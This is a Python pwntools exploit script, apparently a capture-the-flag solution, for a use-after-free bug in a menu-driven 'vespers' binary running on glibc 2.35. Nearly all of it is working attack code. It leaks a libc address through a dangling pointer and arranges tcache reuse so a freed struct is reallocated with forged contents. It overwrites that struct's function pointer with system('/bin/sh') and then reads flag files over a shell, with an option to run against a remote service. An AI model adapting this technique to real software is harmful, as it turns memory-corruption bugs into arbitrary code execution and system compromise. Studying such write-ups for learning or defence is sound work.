#!/usr/bin/env python3 # Saint Vespers and the Copper Choir -- glibc 2.35 UAF # # op_retire() frees c->transcript and c, then writes c->active = 0 and never # clears choir[idx]. op_restore() sets c->active = 1 on that freed object, so # every other menu op now works on a dangling chorister_t. # # struct chorister { char name[0x38]; void(*sing)(struct chorister*); # char *transcript; size_t transcript_len; int active; } # sizeof == 0x58 -> chunk 0x60. tcache only clobbers the first 0x10 bytes, # so transcript/len/sing/active all survive the free. # # python3 x.py # local # python3 x.py REMOTE HOST= PORT= # against the live service from pwn import * context.binary = e = ELF("./vespers", checksec=False) context.log_level = "info" libc = ELF("./libc.so.6", checksec=False) MAIN_ARENA_96 = 0x21ace0 # &main_arena+96 in Ubuntu GLIBC 2.35-0ubuntu3.14 io = remote(args.HOST, int(args.PORT), timeout=20) if args.REMOTE else process("./vespers") def menu(c): io.recvuntil(b"> "); io.sendline(str(c).encode()) def recruit(name, style, tlen, tdata): menu(1) io.recvuntil(b"chorister: "); io.sendline(name) io.recvuntil(b"Harmony): "); io.sendline(str(style).encode()) io.recvuntil(b"): "); io.sendline(str(tlen).encode()) io.recvuntil(b"raw bytes): "); io.send(tdata) def retire(i): menu(2); io.recvuntil(b"seat? "); io.sendline(str(i).encode()) def restore(i): menu(3); io.recvuntil(b"seat? "); io.sendline(str(i).encode()) def recite(i): menu(5); io.recvuntil(b"seat? "); io.sendline(str(i).encode()) io.recvuntil(b" bytes):\n"); return io # 1) layout: [C0][T0 0x510][C1][T1] -- T1/C1 keep T0 off the top chunk recruit(b"A", 0, 0x500, b"a" * 0x500) # seat 0 recruit(b"B", 0, 0x20, b"b" * 0x20) # seat 1 (guard) # 2) free seat 0: T0 is too big for tcache -> unsorted bin, fd/bk = main_arena+96 retire(0) restore(0) # dangling, active again # 3) recite the freed transcript -> libc leak recite(0) blob = io.recvn(0x500) fd = u64(blob[:8]) log.success(f"unsorted fd : {fd:#x}") libc.address = fd - MAIN_ARENA_96 # main_arena+96, calibrated for this libc log.success(f"libc base : {libc.address:#x}") log.success(f"system : {libc.sym.system:#x}") assert libc.address & 0xfff == 0, "libc base not page aligned -- offset wrong" # 4) tcache[0x60] = [C1, C0] so the next recruit's *transcript* lands on C0 retire(1) # 5) chorister malloc takes C1, transcript malloc(0x58) takes C0 = dangling choir[0] forged = b"/bin/sh\x00".ljust(0x38, b"\x00") # name[] -- also the argument forged += p64(libc.sym.system) # sing forged += p64(0) # transcript forged += p64(0) # transcript_len forged += p32(1) # active forged = forged.ljust(0x58, b"\x00") recruit(b"C", 0, 0x58, forged) # 6) op_perform: choir[0]->sing(choir[0]) == system("/bin/sh") # stdout is fully buffered (setvbuf _IOFBF) and system() fires before any # flush, so do NOT wait on the banner here -- just talk to the shell. menu(8) io.sendline(b"echo PWNED; cat flag* 2>/dev/null; cat /flag* 2>/dev/null; id") if args.I: log.success("dropped to shell") io.interactive() else: out = io.recvrepeat(3) print(out.decode(errors="replace")) io.close()